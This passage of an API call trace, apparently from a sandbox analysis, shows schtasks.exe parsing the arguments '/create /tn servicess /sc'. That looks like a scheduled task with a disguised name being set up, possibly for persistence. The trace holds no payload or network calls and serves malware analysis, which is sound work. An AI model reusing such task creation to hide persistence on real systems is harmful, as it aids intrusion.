0x1b0000 [0059.461] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5ae0 [0059.461] GetProcessHeap () returned 0x1b0000 [0059.461] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5b10 [0059.462] GetProcessHeap () returned 0x1b0000 [0059.462] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x18) returned 0x1cbb80 [0059.462] GetProcessHeap () returned 0x1b0000 [0059.462] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5b40 [0059.462] GetProcessHeap () returned 0x1b0000 [0059.462] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5b70 [0059.462] GetProcessHeap () returned 0x1b0000 [0059.462] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5ba0 [0059.462] GetProcessHeap () returned 0x1b0000 [0059.462] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5bd0 [0059.462] GetProcessHeap () returned 0x1b0000 [0059.462] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x18) returned 0x1cbba0 [0059.462] GetProcessHeap () returned 0x1b0000 [0059.462] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5c00 [0059.462] GetProcessHeap () returned 0x1b0000 [0059.462] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5c30 [0059.462] GetProcessHeap () returned 0x1b0000 [0059.462] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5c60 [0059.462] GetProcessHeap () returned 0x1b0000 [0059.462] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5c90 [0059.462] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0059.462] SetLastError (dwErrCode=0x0) [0059.462] GetProcessHeap () returned 0x1b0000 [0059.462] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5cc0 [0059.463] GetProcessHeap () returned 0x1b0000 [0059.463] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5cf0 [0059.463] GetProcessHeap () returned 0x1b0000 [0059.463] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5d20 [0059.463] GetProcessHeap () returned 0x1b0000 [0059.463] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5d50 [0059.463] GetProcessHeap () returned 0x1b0000 [0059.463] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5d80 [0059.463] GetProcessHeap () returned 0x1b0000 [0059.463] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x18) returned 0x1cbbc0 [0059.463] _memicmp (_Buf1=0x1cbbc0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.463] GetProcessHeap () returned 0x1b0000 [0059.463] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x208) returned 0x1cbd60 [0059.463] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1cbd60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0059.463] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0059.467] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0059.467] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0059.469] GetProcessHeap () returned 0x1b0000 [0059.469] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x74e) returned 0x1cc330 [0059.469] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0059.469] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x1cc330 | out: lpData=0x1cc330) returned 1 [0059.469] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0059.469] VerQueryValueW (in: pBlock=0x1cc330, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x11f1e8, puLen=0x11f250 | out: lplpBuffer=0x11f1e8*=0x1cc6cc, puLen=0x11f250) returned 1 [0059.472] _memicmp (_Buf1=0x1cbbc0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.472] _vsnwprintf (in: _Buffer=0x1cbd60, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x11f1c8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0059.472] VerQueryValueW (in: pBlock=0x1cc330, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x11f258, puLen=0x11f248 | out: lplpBuffer=0x11f258*=0x1cc4f8, puLen=0x11f248) returned 1 [0059.472] lstrlenW (lpString="schtasks.exe") returned 12 [0059.472] lstrlenW (lpString="schtasks.exe") returned 12 [0059.472] lstrlenW (lpString=".EXE") returned 4 [0059.472] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0059.473] lstrlenW (lpString="schtasks.exe") returned 12 [0059.473] lstrlenW (lpString=".EXE") returned 4 [0059.473] _memicmp (_Buf1=0x1cbbc0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.473] lstrlenW (lpString="schtasks") returned 8 [0059.473] GetProcessHeap () returned 0x1b0000 [0059.473] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5e70 [0059.473] GetProcessHeap () returned 0x1b0000 [0059.474] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1ccc40 [0059.474] GetProcessHeap () returned 0x1b0000 [0059.474] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1ccc70 [0059.474] GetProcessHeap () returned 0x1b0000 [0059.474] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1ccca0 [0059.474] GetProcessHeap () returned 0x1b0000 [0059.474] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x18) returned 0x1cbbe0 [0059.474] _memicmp (_Buf1=0x1cbbe0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.474] GetProcessHeap () returned 0x1b0000 [0059.474] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0xa0) returned 0x1cc160 [0059.474] GetProcessHeap () returned 0x1b0000 [0059.474] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1cccd0 [0059.474] GetProcessHeap () returned 0x1b0000 [0059.474] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1ccd00 [0059.474] GetProcessHeap () returned 0x1b0000 [0059.474] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1ccd30 [0059.474] GetProcessHeap () returned 0x1b0000 [0059.474] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x18) returned 0x1cbc00 [0059.474] _memicmp (_Buf1=0x1cbc00, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.474] GetProcessHeap () returned 0x1b0000 [0059.474] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x200) returned 0x1cd410 [0059.474] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1cd410, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0059.475] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0059.475] GetProcessHeap () returned 0x1b0000 [0059.475] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x30) returned 0x1c7be0 [0059.475] _vsnwprintf (in: _Buffer=0x1cc160, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x11f1c8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0059.475] GetProcessHeap () returned 0x1b0000 [0059.475] GetProcessHeap () returned 0x1b0000 [0059.475] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc330) returned 1 [0059.475] GetProcessHeap () returned 0x1b0000 [0059.475] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc330) returned 0x74e [0059.476] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc330 | out: hHeap=0x1b0000) returned 1 [0059.476] SetLastError (dwErrCode=0x0) [0059.476] GetThreadLocale () returned 0x409 [0059.476] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.476] lstrlenW (lpString="?") returned 1 [0059.476] GetThreadLocale () returned 0x409 [0059.476] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.476] lstrlenW (lpString="create") returned 6 [0059.476] GetThreadLocale () returned 0x409 [0059.477] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.477] lstrlenW (lpString="delete") returned 6 [0059.477] GetThreadLocale () returned 0x409 [0059.477] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.477] lstrlenW (lpString="query") returned 5 [0059.477] GetThreadLocale () returned 0x409 [0059.477] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.477] lstrlenW (lpString="change") returned 6 [0059.477] GetThreadLocale () returned 0x409 [0059.477] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.477] lstrlenW (lpString="run") returned 3 [0059.477] GetThreadLocale () returned 0x409 [0059.477] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.477] lstrlenW (lpString="end") returned 3 [0059.477] GetThreadLocale () returned 0x409 [0059.477] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.477] lstrlenW (lpString="showsid") returned 7 [0059.477] GetThreadLocale () returned 0x409 [0059.477] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.477] SetLastError (dwErrCode=0x0) [0059.477] SetLastError (dwErrCode=0x0) [0059.477] lstrlenW (lpString="/create") returned 7 [0059.477] lstrlenW (lpString="-/") returned 2 [0059.477] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0059.477] lstrlenW (lpString="?") returned 1 [0059.477] lstrlenW (lpString="?") returned 1 [0059.477] GetProcessHeap () returned 0x1b0000 [0059.478] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x18) returned 0x1cc210 [0059.478] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.478] GetProcessHeap () returned 0x1b0000 [0059.478] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0xa) returned 0x1cc330 [0059.478] lstrlenW (lpString="create") returned 6 [0059.478] GetProcessHeap () returned 0x1b0000 [0059.478] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x18) returned 0x1cc350 [0059.478] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.478] GetProcessHeap () returned 0x1b0000 [0059.478] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x14) returned 0x1cc370 [0059.478] _vsnwprintf (in: _Buffer=0x1cc330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|?|") returned 3 [0059.478] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|create|") returned 8 [0059.478] lstrlenW (lpString="|?|") returned 3 [0059.478] lstrlenW (lpString="|create|") returned 8 [0059.478] SetLastError (dwErrCode=0x490) [0059.478] lstrlenW (lpString="create") returned 6 [0059.478] lstrlenW (lpString="create") returned 6 [0059.478] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.478] GetProcessHeap () returned 0x1b0000 [0059.478] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc330) returned 1 [0059.478] GetProcessHeap () returned 0x1b0000 [0059.478] RtlReAllocateHeap (Heap=0x1b0000, Flags=0xc, Ptr=0x1cc330, Size=0x14) returned 0x1cc390 [0059.478] lstrlenW (lpString="create") returned 6 [0059.478] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.478] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|create|") returned 8 [0059.479] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|create|") returned 8 [0059.479] lstrlenW (lpString="|create|") returned 8 [0059.479] lstrlenW (lpString="|create|") returned 8 [0059.479] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0059.479] SetLastError (dwErrCode=0x0) [0059.479] SetLastError (dwErrCode=0x0) [0059.479] SetLastError (dwErrCode=0x0) [0059.479] lstrlenW (lpString="/tn") returned 3 [0059.479] lstrlenW (lpString="-/") returned 2 [0059.479] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0059.479] lstrlenW (lpString="?") returned 1 [0059.479] lstrlenW (lpString="?") returned 1 [0059.479] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.479] lstrlenW (lpString="tn") returned 2 [0059.479] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.479] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|?|") returned 3 [0059.479] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|tn|") returned 4 [0059.479] lstrlenW (lpString="|?|") returned 3 [0059.479] lstrlenW (lpString="|tn|") returned 4 [0059.479] SetLastError (dwErrCode=0x490) [0059.479] lstrlenW (lpString="create") returned 6 [0059.479] lstrlenW (lpString="create") returned 6 [0059.479] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.479] lstrlenW (lpString="tn") returned 2 [0059.479] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.480] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|create|") returned 8 [0059.480] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|tn|") returned 4 [0059.480] lstrlenW (lpString="|create|") returned 8 [0059.480] lstrlenW (lpString="|tn|") returned 4 [0059.480] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0059.480] SetLastError (dwErrCode=0x490) [0059.480] lstrlenW (lpString="delete") returned 6 [0059.480] lstrlenW (lpString="delete") returned 6 [0059.480] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.480] lstrlenW (lpString="tn") returned 2 [0059.480] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.480] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|delete|") returned 8 [0059.480] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|tn|") returned 4 [0059.480] lstrlenW (lpString="|delete|") returned 8 [0059.480] lstrlenW (lpString="|tn|") returned 4 [0059.480] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0059.480] SetLastError (dwErrCode=0x490) [0059.480] lstrlenW (lpString="query") returned 5 [0059.480] lstrlenW (lpString="query") returned 5 [0059.480] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.480] lstrlenW (lpString="tn") returned 2 [0059.480] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.480] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|query|") returned 7 [0059.481] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|tn|") returned 4 [0059.481] lstrlenW (lpString="|query|") returned 7 [0059.481] lstrlenW (lpString="|tn|") returned 4 [0059.481] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0059.481] SetLastError (dwErrCode=0x490) [0059.481] lstrlenW (lpString="change") returned 6 [0059.481] lstrlenW (lpString="change") returned 6 [0059.481] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.481] lstrlenW (lpString="tn") returned 2 [0059.481] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.481] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|change|") returned 8 [0059.481] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|tn|") returned 4 [0059.481] lstrlenW (lpString="|change|") returned 8 [0059.481] lstrlenW (lpString="|tn|") returned 4 [0059.481] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0059.481] SetLastError (dwErrCode=0x490) [0059.481] lstrlenW (lpString="run") returned 3 [0059.481] lstrlenW (lpString="run") returned 3 [0059.481] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.481] lstrlenW (lpString="tn") returned 2 [0059.481] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.481] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|run|") returned 5 [0059.481] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|tn|") returned 4 [0059.481] lstrlenW (lpString="|run|") returned 5 [0059.482] lstrlenW (lpString="|tn|") returned 4 [0059.482] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0059.482] SetLastError (dwErrCode=0x490) [0059.482] lstrlenW (lpString="end") returned 3 [0059.482] lstrlenW (lpString="end") returned 3 [0059.482] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.482] lstrlenW (lpString="tn") returned 2 [0059.482] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.482] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|end|") returned 5 [0059.482] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|tn|") returned 4 [0059.482] lstrlenW (lpString="|end|") returned 5 [0059.482] lstrlenW (lpString="|tn|") returned 4 [0059.482] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0059.482] SetLastError (dwErrCode=0x490) [0059.482] lstrlenW (lpString="showsid") returned 7 [0059.482] lstrlenW (lpString="showsid") returned 7 [0059.482] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.482] GetProcessHeap () returned 0x1b0000 [0059.482] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc390) returned 1 [0059.482] GetProcessHeap () returned 0x1b0000 [0059.482] RtlReAllocateHeap (Heap=0x1b0000, Flags=0xc, Ptr=0x1cc390, Size=0x16) returned 0x1cc390 [0059.482] lstrlenW (lpString="tn") returned 2 [0059.482] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.483] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|showsid|") returned 9 [0059.483] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|tn|") returned 4 [0059.483] lstrlenW (lpString="|showsid|") returned 9 [0059.483] lstrlenW (lpString="|tn|") returned 4 [0059.483] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0059.483] SetLastError (dwErrCode=0x490) [0059.483] SetLastError (dwErrCode=0x490) [0059.483] SetLastError (dwErrCode=0x0) [0059.483] lstrlenW (lpString="/tn") returned 3 [0059.483] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0059.483] SetLastError (dwErrCode=0x490) [0059.483] SetLastError (dwErrCode=0x0) [0059.483] lstrlenW (lpString="/tn") returned 3 [0059.483] GetProcessHeap () returned 0x1b0000 [0059.483] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x8) returned 0x1cc330 [0059.483] GetProcessHeap () returned 0x1b0000 [0059.483] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1ccd60 [0059.483] SetLastError (dwErrCode=0x0) [0059.483] SetLastError (dwErrCode=0x0) [0059.483] lstrlenW (lpString="servicess") returned 9 [0059.483] lstrlenW (lpString="-/") returned 2 [0059.483] StrChrIW (lpStart="-/", wMatch=0x73) returned 0x0 [0059.483] SetLastError (dwErrCode=0x490) [0059.483] SetLastError (dwErrCode=0x490) [0059.483] SetLastError (dwErrCode=0x0) [0059.483] lstrlenW (lpString="servicess") returned 9 [0059.483] StrChrIW (lpStart="servicess", wMatch=0x3a) returned 0x0 [0059.484] SetLastError (dwErrCode=0x490) [0059.484] SetLastError (dwErrCode=0x0) [0059.484] lstrlenW (lpString="servicess") returned 9 [0059.484] GetProcessHeap () returned 0x1b0000 [0059.484] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x14) returned 0x1cc3c0 [0059.484] GetProcessHeap () returned 0x1b0000 [0059.484] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1ccd90 [0059.484] SetLastError (dwErrCode=0x0) [0059.484] SetLastError (dwErrCode=0x0) [0059.484] lstrlenW (lpString="/sc") returned 3 [0059.484] lstrlenW (lpString="-/") returned 2 [0059.484] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0059.484] lstrlenW (lpString="?") returned 1 [0059.484] lstrlenW (lpString="?") returned 1 [0059.484] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.484] lstrlenW (lpString="sc") returned 2 [0059.484] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.484] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|?|") returned 3 [0059.484] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|sc|") returned 4 [0059.484] lstrlenW (lpString="|?|") returned 3 [0059.484] lstrlenW (lpString="|sc|") returned 4 [0059.484] SetLastError (dwErrCode=0x490) [0059.484] lstrlenW (lpString="create") returned 6 [0059.484] lstrlenW (lpString="create") returned 6 [0059.484] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.485] lstrlenW (lpString="sc") returned 2 [0059.485] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.485] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|create|") returned 8 [0059.485] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|sc|") returned 4 [0059.485] lstrlenW (lpString="|create|") returned 8 [0059.485] lstrlenW (lpString="|sc|") returned 4 [0059.485] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0059.485] SetLastError (dwErrCode=0x490) [0059.485] lstrlenW (lpString="delete") returned 6 [0059.485] lstrlenW (lpString="delete") returned 6 [0059.485] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.485] lstrlenW (lpString="sc") returned 2 [0059.485] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.485] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|delete|") returned 8 [0059.485] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|sc|") returned 4 [0059.485] lstrlenW (lpString="|delete|") returned 8 [0059.485] lstrlenW (lpString="|sc|") returned 4 [0059.485] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0059.485] SetLastError (dwErrCode=0x490) [0059.485] lstrlenW (lpString="query") returned 5 [0059.485] lstrlenW (lpString="query") returned 5 [0059.485] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.485] lstrlenW (lpString="sc") returned 2 [0059.485] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.486] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|query|") returned 7 [0059.486] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|sc|") returned 4 [0059.486] lstrlenW (lpString="|query|") returned 7 [0059.486] lstrlenW (lpString="|sc|") returned 4 [0059.486] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0059.486] SetLastError (dwErrCode=0x490) [0059.486] lstrlenW (lpString="change") returned 6 [0059.486] lstrlenW (lpString="change") returned 6 [0059.486] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.486] lstrlenW (lpString="sc") returned 2 [0059.486] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.486] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|change|") returned 8 [0059.486] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|sc|") returned 4 [0059.486] lstrlenW (lpString="|change|") returned 8 [0059.486] lstrlenW (lpString="|sc|") returned 4 [0059.486] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0059.486] SetLastError (dwErrCode=0x490) [0059.486] lstrlenW (lpString="run") returned 3 [0059.486] lstrlenW (lpString="run") returned 3 [0059.486] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.486] lstrlenW (lpString="sc") returned 2 [0059.486] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.486] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|run|") returned 5 [0059.487] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|sc|") returned 4 [0059.487] lstrlenW (lpString="|run|") returned 5 [0059.487] lstrlenW (lpString="|sc|") returned 4 [0059.487] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0059.487] SetLastError (dwErrCode=0x490) [0059.487] lstrlenW (lpString="end") returned 3 [0059.487] lstrlenW (lpString="end") returned 3 [0059.487] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.487] lstrlenW (lpString="sc") returned 2 [0059.487] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.487] _vsnwprintf (in: _Buffer=0x1cc390, 